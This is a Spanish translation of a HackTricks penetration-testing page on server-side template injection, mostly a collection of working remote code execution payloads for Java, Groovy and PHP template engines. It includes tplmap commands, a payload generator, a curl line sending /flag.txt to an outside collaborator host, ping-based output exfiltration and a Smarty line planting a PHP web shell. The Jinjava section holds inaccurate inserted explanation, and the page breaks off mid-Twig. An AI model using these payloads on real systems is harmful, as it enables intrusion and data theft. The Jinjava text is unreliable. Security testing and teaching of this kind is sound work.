mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
1132 lines
55 KiB
Markdown
1132 lines
55 KiB
Markdown
# SSTI (Inyección de plantillas en el lado del servidor)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## ¿Qué es la inyección de plantillas en el lado del servidor?
|
||
|
||
La inyección de plantillas en el lado del servidor ocurre cuando un atacante es capaz de utilizar la sintaxis nativa de la plantilla para inyectar una carga maliciosa en una plantilla, que luego se ejecuta en el lado del servidor.
|
||
|
||
Los **motores de plantillas** están diseñados para **generar páginas web** combinando plantillas **fijas** con datos **volátiles**. Los ataques de inyección de plantillas en el lado del servidor pueden ocurrir cuando la **entrada del usuario** se concatena directamente **en una plantilla**, en lugar de pasarla como datos. Esto permite a los atacantes **inyectar directivas de plantilla arbitrarias** para manipular el motor de plantillas, lo que a menudo les permite tomar **el control completo del servidor**.
|
||
|
||
Un ejemplo de código vulnerable se muestra a continuación:
|
||
```php
|
||
$output = $twig->render("Dear " . $_GET['name']);
|
||
```
|
||
En el ejemplo anterior, **parte de la plantilla** en sí misma está siendo **generada dinámicamente** usando el parámetro `GET` `name`. Como la sintaxis de la plantilla se evalúa en el lado del servidor, esto potencialmente permite a un atacante colocar una carga útil de inyección de plantilla en el lado del servidor dentro del parámetro `name` de la siguiente manera:
|
||
```
|
||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||
```
|
||
## Construyendo un ataque de inyección de plantilla en el lado del servidor
|
||
|
||
![](../../.gitbook/assets/ssti-methodology-diagram.png)
|
||
|
||
### Detectar
|
||
|
||
Al igual que con cualquier vulnerabilidad, el primer paso hacia la explotación es poder encontrarla. Quizás el enfoque inicial más simple sea intentar **fuzzear la plantilla** inyectando una secuencia de caracteres especiales comúnmente utilizados en expresiones de plantilla, como el políglota **`${{<%[%'"}}%\`.**\
|
||
Para comprobar si el servidor es vulnerable, debe **detectar las diferencias** entre la respuesta con **datos regulares** en el parámetro y el **payload dado**.\
|
||
Si se produce un **error**, será bastante fácil averiguar que **el servidor es vulnerable** e incluso qué **motor se está ejecutando**. Pero también podría encontrar un servidor vulnerable si esperaba que reflejara el payload dado y no lo está haciendo o si hay algunos caracteres **faltantes** en la respuesta.
|
||
|
||
**Detectar - Contexto de texto plano**
|
||
|
||
La entrada dada se está **renderizando y reflejando** en la respuesta. Esto es fácilmente **confundido con una vulnerabilidad simple** de [**XSS**](../xss-cross-site-scripting/), pero es fácil de diferenciar si intenta establecer **operaciones matemáticas** dentro de una expresión de plantilla:
|
||
```
|
||
{{7*7}}
|
||
${7*7}
|
||
<%= 7*7 %>
|
||
${{7*7}}
|
||
#{7*7}
|
||
*{7*7}
|
||
```
|
||
**Detectar - Contexto de código**
|
||
|
||
En estos casos, la **entrada del usuario** se está colocando **dentro** de una **expresión de plantilla**:
|
||
```python
|
||
engine.render("Hello {{"+greeting+"}}", data)
|
||
```
|
||
El acceso a la página puede ser similar a: `http://vulnerable-website.com/?greeting=data.username`
|
||
|
||
Si **cambias** el parámetro **`greeting`** por un **valor diferente**, la **respuesta no contendrá el nombre de usuario**, pero si accedes a algo como: `http://vulnerable-website.com/?greeting=data.username}}hello` entonces, **la respuesta contendrá el nombre de usuario** (si los caracteres de cierre de la expresión de la plantilla fueran **`}}`**).\
|
||
Si se produce un **error** durante estas pruebas, será más fácil encontrar que el servidor es vulnerable.
|
||
|
||
### Identificación
|
||
|
||
Una vez que se ha detectado el potencial de inyección de plantillas, el siguiente paso es identificar el motor de plantillas.\
|
||
Aunque hay una gran cantidad de lenguajes de plantillas, muchos de ellos utilizan una sintaxis muy similar que se elige específicamente para no chocar con los caracteres HTML.
|
||
|
||
Si tienes suerte, el servidor estará **imprimiendo los errores** y podrás encontrar el **motor** utilizado **dentro** de los errores. Algunas cargas útiles posibles que pueden causar errores son:
|
||
|
||
| `${}` | `{{}}` | `<%= %>` |
|
||
| ----------- | ------------ | --------------- |
|
||
| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` |
|
||
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
|
||
| `${7*7}` | `{{7*7}}` | \`\` |
|
||
|
||
De lo contrario, deberás probar manualmente diferentes cargas útiles específicas del lenguaje y estudiar cómo son interpretadas por el motor de plantillas. Una forma común de hacer esto es inyectar operaciones matemáticas arbitrarias utilizando sintaxis de diferentes motores de plantillas. Luego puedes observar si se evalúan correctamente. Para ayudar en este proceso, puedes usar un árbol de decisiones similar al siguiente:
|
||
|
||
![](<../../.gitbook/assets/image (272).png>)
|
||
|
||
### Explotación
|
||
|
||
**Leer**
|
||
|
||
El primer paso después de encontrar la inyección de plantillas e identificar el motor de plantillas es leer la documentación. Las áreas clave de interés son:
|
||
|
||
* Secciones 'Para autores de plantillas' que cubren la sintaxis básica.
|
||
* 'Consideraciones de seguridad' - es probable que quien desarrolló la aplicación que estás probando no haya leído esto, y puede contener algunas pistas útiles.
|
||
* Listas de métodos, funciones, filtros y variables integrados.
|
||
* Listas de extensiones/plugins - algunos pueden estar habilitados de forma predeterminada.
|
||
|
||
**Explorar**
|
||
|
||
Suponiendo que no se han presentado exploits, el siguiente paso es **explorar el entorno** para averiguar exactamente a qué **tienes acceso**. Puedes esperar encontrar tanto **objetos predeterminados** proporcionados por el motor de plantillas, como **objetos específicos de la aplicación** pasados a la plantilla por el desarrollador. Muchos sistemas de plantillas exponen un objeto 'self' o de espacio de nombres que contiene todo en el ámbito, y una forma idiomática de listar los atributos y métodos de un objeto.
|
||
|
||
Si no hay un objeto self integrado, tendrás que probar nombres de variables mediante [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) y la colección de listas de palabras de Burp Intruder.
|
||
|
||
Los objetos suministrados por el desarrollador son particularmente propensos a contener información sensible, y pueden variar entre diferentes plantillas dentro de una aplicación, por lo que este proceso debe aplicarse idealmente a cada plantilla individualmente.
|
||
|
||
**Atacar**
|
||
|
||
En este punto, deberías tener una **idea firme de la superficie de ataque disponible** y poder proceder con técnicas tradicionales de auditoría de seguridad, revisando cada función en busca de vulnerabilidades explotables. Es importante abordar esto en el contexto de la aplicación más amplia - algunas funciones pueden ser utilizadas para explotar características específicas de la aplicación. Los ejemplos a seguir utilizarán la inyección de plantillas para desencadenar la creación arbitraria de objetos, la lectura/escritura arbitraria de archivos, la inclusión remota de archivos, la divulgación de información y las vulnerabilidades de escalada de privilegios.
|
||
|
||
## Herramientas
|
||
|
||
### [Tplmap](https://github.com/epinna/tplmap)
|
||
```python
|
||
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||
```
|
||
## Exploits
|
||
|
||
### Genérico
|
||
|
||
En esta **lista de palabras** puedes encontrar **variables definidas** en los entornos de algunos de los motores mencionados a continuación:
|
||
|
||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||
|
||
### Java
|
||
|
||
**Java - Inyección básica**
|
||
```java
|
||
${7*7}
|
||
${{7*7}}
|
||
${class.getClassLoader()}
|
||
${class.getResource("").getPath()}
|
||
${class.getResource("../../../../../index.htm").getContent()}
|
||
```
|
||
**Java - Obtener las variables de entorno del sistema**
|
||
|
||
Para obtener las variables de entorno del sistema en Java, podemos utilizar la clase `System` y su método `getenv()`. Este método devuelve un objeto `Map` que contiene todas las variables de entorno del sistema y sus valores.
|
||
|
||
```java
|
||
Map<String, String> env = System.getenv();
|
||
for (String envName : env.keySet()) {
|
||
System.out.format("%s=%s%n", envName, env.get(envName));
|
||
}
|
||
```
|
||
|
||
Este código imprimirá todas las variables de entorno del sistema y sus valores en la consola.
|
||
```java
|
||
${T(java.lang.System).getenv()}
|
||
```
|
||
**Java - Obtener /etc/passwd**
|
||
```java
|
||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||
|
||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||
```
|
||
### FreeMarker (Java)
|
||
|
||
Puedes probar tus payloads en [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
|
||
|
||
* `{{7*7}} = {{7*7}}`
|
||
* `${7*7} = 49`
|
||
* `#{7*7} = 49 -- (legacy)`
|
||
* `${7*'7'} Nothing`
|
||
* `${foobar}`
|
||
```java
|
||
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
|
||
${"freemarker.template.utility.Execute"?new()("id")}
|
||
|
||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||
```
|
||
**Freemarker - Bypass de Sandbox**
|
||
|
||
⚠️ Solo funciona en versiones de Freemarker inferiores a 2.3.30
|
||
```java
|
||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
|
||
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
|
||
${dwf.newInstance(ec,null)("id")}
|
||
```
|
||
**Más información**
|
||
|
||
* En la sección de FreeMarker de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||
|
||
### Velocity (Java)
|
||
```java
|
||
#set($str=$class.inspect("java.lang.String").type)
|
||
#set($chr=$class.inspect("java.lang.Character").type)
|
||
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
|
||
$ex.waitFor()
|
||
#set($out=$ex.getInputStream())
|
||
#foreach($i in [1..$out.available()])
|
||
$str.valueOf($chr.toChars($out.read()))
|
||
#end
|
||
```
|
||
**Más información**
|
||
|
||
* En la sección Velocity de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||
|
||
### Thymeleaf (Java)
|
||
|
||
La expresión de prueba típica para SSTI es `${7*7}`. Esta expresión también funciona en Thymeleaf. Si desea lograr la ejecución remota de código, puede usar una de las siguientes expresiones de prueba:
|
||
|
||
* SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}`
|
||
* OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
|
||
|
||
Sin embargo, como mencionamos antes, las expresiones solo funcionan en atributos especiales de Thymeleaf. Si es necesario usar una expresión en una ubicación diferente en la plantilla, Thymeleaf admite _inlineado de expresiones_. Para usar esta función, debe colocar una expresión dentro de `[[...]]` o `[(...)]` (seleccione uno u otro según si necesita escapar símbolos especiales). Por lo tanto, una carga útil de detección SSTI simple para Thymeleaf sería `[[${7*7}]]`.
|
||
|
||
Las posibilidades de que la carga útil de detección anterior funcione son, sin embargo, muy bajas. Las vulnerabilidades de SSTI generalmente ocurren cuando una plantilla se genera dinámicamente en el código. Thymeleaf, por defecto, no permite tales plantillas generadas dinámicamente y todas las plantillas deben crearse antes. Por lo tanto, si un desarrollador quiere crear una plantilla a partir de una cadena _sobre la marcha_, necesitaría crear su propio TemplateResolver. Esto es posible pero ocurre muy raramente.
|
||
|
||
Si profundizamos en la documentación del motor de plantillas Thymeleaf, encontraremos una característica interesante llamada _**preprocesamiento de expresiones**_. Las expresiones colocadas entre doble guión bajo (`__...__`) se preprocesan y el resultado del preprocesamiento se utiliza como parte de la expresión durante el procesamiento regular. Aquí hay un ejemplo oficial de la documentación de Thymeleaf:
|
||
```java
|
||
#{selection.__${sel.code}__}
|
||
```
|
||
**Ejemplo vulnerable**
|
||
```markup
|
||
<a th:href="@{__${path}__}" th:title="${title}">
|
||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||
|
||
http://localhost:8082/(7*7)
|
||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||
```
|
||
**Más información**
|
||
|
||
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
|
||
|
||
{% content-ref url="el-expression-language.md" %}
|
||
[el-expression-language.md](el-expression-language.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Marco de trabajo Spring (Java)
|
||
```java
|
||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||
```
|
||
**Bypassar filtros**
|
||
|
||
Se pueden usar múltiples expresiones de variables, si `${...}` no funciona, prueba con `#{...}`, `*{...}`, `@{...}` o `~{...}`.
|
||
|
||
* Leer `/etc/passwd`
|
||
```java
|
||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||
```
|
||
* Script personalizado para la generación de payloads
|
||
```python
|
||
#!/usr/bin/python3
|
||
|
||
## Written By Zeyad Abulaban (zAbuQasem)
|
||
# Usage: python3 gen.py "id"
|
||
|
||
from sys import argv
|
||
|
||
cmd = list(argv[1].strip())
|
||
print("Payload: ", cmd , end="\n\n")
|
||
converted = [ord(c) for c in cmd]
|
||
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
|
||
end_payload = '.getInputStream())}'
|
||
|
||
count = 1
|
||
for i in converted:
|
||
if count == 1:
|
||
base_payload += f"(T(java.lang.Character).toString({i}).concat"
|
||
count += 1
|
||
elif count == len(converted):
|
||
base_payload += f"(T(java.lang.Character).toString({i})))"
|
||
else:
|
||
base_payload += f"(T(java.lang.Character).toString({i})).concat"
|
||
count += 1
|
||
|
||
print(base_payload + end_payload)
|
||
```
|
||
**Más información**
|
||
|
||
* [Thymleaf SSTI](https://javamana.com/2021/11/21071046977B.html)
|
||
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||
|
||
### Manipulación de vistas de Spring (Java)
|
||
```java
|
||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||
```
|
||
* [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
|
||
|
||
{% content-ref url="el-expression-language.md" %}
|
||
[el-expression-language.md](el-expression-language.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Pebble (Java)
|
||
|
||
* `{{ someString.toUPPERCASE() }}`
|
||
|
||
Versión antigua de Pebble ( < versión 3.0.9):
|
||
```java
|
||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||
```
|
||
Nueva versión de Pebble:
|
||
```java
|
||
{% raw %}
|
||
{% set cmd = 'id' %}
|
||
{% endraw %}
|
||
|
||
|
||
{% set bytes = (1).TYPE
|
||
.forName('java.lang.Runtime')
|
||
.methods[6]
|
||
.invoke(null,null)
|
||
.exec(cmd)
|
||
.inputStream
|
||
.readAllBytes() %}
|
||
{{ (1).TYPE
|
||
.forName('java.lang.String')
|
||
.constructors[0]
|
||
.newInstance(([bytes]).toArray()) }}
|
||
```
|
||
### Jinjava (Java)
|
||
|
||
Jinjava es un motor de plantillas Java que admite la ejecución de código Java en plantillas. Es compatible con la mayoría de las características de la sintaxis de plantillas de Django y agrega algunas características adicionales, como la ejecución de código Java en plantillas.
|
||
|
||
#### Ejemplo de uso
|
||
|
||
```java
|
||
import com.hubspot.jinjava.Jinjava;
|
||
import java.util.HashMap;
|
||
import java.util.Map;
|
||
|
||
public class Main {
|
||
public static void main(String[] args) {
|
||
Jinjava jinjava = new Jinjava();
|
||
Map<String, Object> context = new HashMap<>();
|
||
context.put("name", "Jinjava");
|
||
String template = "Hello {{ name }}!";
|
||
String renderedTemplate = jinjava.render(template, context);
|
||
System.out.println(renderedTemplate);
|
||
}
|
||
}
|
||
```
|
||
|
||
#### Ejecución de código Java
|
||
|
||
Jinjava admite la ejecución de código Java en plantillas utilizando la sintaxis `{{ java_code }}`. Por ejemplo, el siguiente código Java se puede ejecutar en una plantilla Jinjava:
|
||
|
||
```java
|
||
{% set x = 1 %}
|
||
{% set y = 2 %}
|
||
{% set result = x + y %}
|
||
{{ result }}
|
||
```
|
||
|
||
Esto imprimirá `3` en la plantilla renderizada.
|
||
```java
|
||
{{'a'.toUpperCase()}} would result in 'A'
|
||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||
```
|
||
Jinjava es un proyecto de código abierto desarrollado por Hubspot, disponible en [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
|
||
|
||
**Jinjava - Ejecución de comandos**
|
||
|
||
Solucionado por [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||
```java
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
```
|
||
**Más información**
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
|
||
|
||
### Hubspot - HuBL (Java)
|
||
|
||
* Delimitadores de sentencia `{% %}`
|
||
* Delimitadores de expresión `{{ }}`
|
||
* Delimitadores de comentario `{# #}`
|
||
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||
* `{{'a'.toUpperCase()}}` - "A"
|
||
* `{{'a'.concat('b')}}` - "ab"
|
||
* `{{'a'.getClass()}}` - java.lang.String
|
||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||
|
||
Busque "com.hubspot.content.hubl.context.TemplateContextRequest" y descubra el [proyecto Jinjava en Github](https://github.com/HubSpot/jinjava/).
|
||
```java
|
||
{{request.isDebug()}}
|
||
//output: False
|
||
|
||
//Using string 'a' to get an instance of class sun.misc.Launcher
|
||
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
|
||
//output: sun.misc.Launcher@715537d4
|
||
|
||
//It is also possible to get a new object of the Jinjava class
|
||
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
|
||
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
|
||
|
||
//It was also possible to call methods on the created object by combining the
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
{% raw %}
|
||
{% %} and {{ }} blocks
|
||
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
|
||
{% endraw %}
|
||
|
||
|
||
{{ji.render('{{1*2}}')}}
|
||
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
|
||
|
||
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||
//output: xxx
|
||
|
||
//RCE
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
||
//output: java.lang.UNIXProcess@1e5f456e
|
||
|
||
//RCE with org.apache.commons.io.IOUtils.
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
//output: netstat execution
|
||
|
||
//Multiple arguments to the commands
|
||
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||
```
|
||
**Más información**
|
||
|
||
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
||
|
||
### Lenguaje de Expresión - EL (Java)
|
||
|
||
* `${"aaaa"}` - "aaaa"
|
||
* `${99999+1}` - 100000.
|
||
* `#{7*7}` - 49
|
||
* `${{7*7}}` - 49
|
||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||
|
||
EL proporciona un mecanismo importante para permitir que la capa de presentación (páginas web) se comunique con la lógica de la aplicación (beans administrados). EL es utilizado por **varias tecnologías JavaEE**, como la tecnología JavaServer Faces, la tecnología JavaServer Pages (JSP) y la Inyección de Dependencias y Contextos para Java EE (CDI).\
|
||
Consulte la siguiente página para obtener más información sobre la **explotación de los intérpretes EL**:
|
||
|
||
{% content-ref url="el-expression-language.md" %}
|
||
[el-expression-language.md](el-expression-language.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Groovy (Java)
|
||
|
||
Este bypass del Security Manager fue tomado de este [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||
```java
|
||
//Basic Payload
|
||
import groovy.*;
|
||
@groovy.transform.ASTTest(value={
|
||
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
|
||
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
|
||
})
|
||
def x
|
||
|
||
//Payload to get output
|
||
import groovy.*;
|
||
@groovy.transform.ASTTest(value={
|
||
cmd = "whoami";
|
||
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
|
||
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
|
||
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
|
||
})
|
||
def x
|
||
|
||
//Other payloads
|
||
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
|
||
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||
```
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
##
|
||
|
||
### Smarty (PHP)
|
||
```php
|
||
{$smarty.version}
|
||
{php}echo `id`;{/php} //deprecated in smarty v3
|
||
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
|
||
{system('ls')} // compatible v3
|
||
{system('cat index.php')} // compatible v3
|
||
```
|
||
**Más información**
|
||
|
||
* En la sección de Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||
|
||
### Twig (PHP)
|
||
|
||
* `{{7*7}} = 49`
|
||
* `${7*7} = ${7*7}`
|
||
* `{{7*'7'}} = 49`
|
||
* `{{1/0}} = Error`
|
||
* `{{foobar}} Nothing`
|
||
```python
|
||
#Get Info
|
||
{{_self}} #(Ref. to current application)
|
||
{{_self.env}}
|
||
{{dump(app)}}
|
||
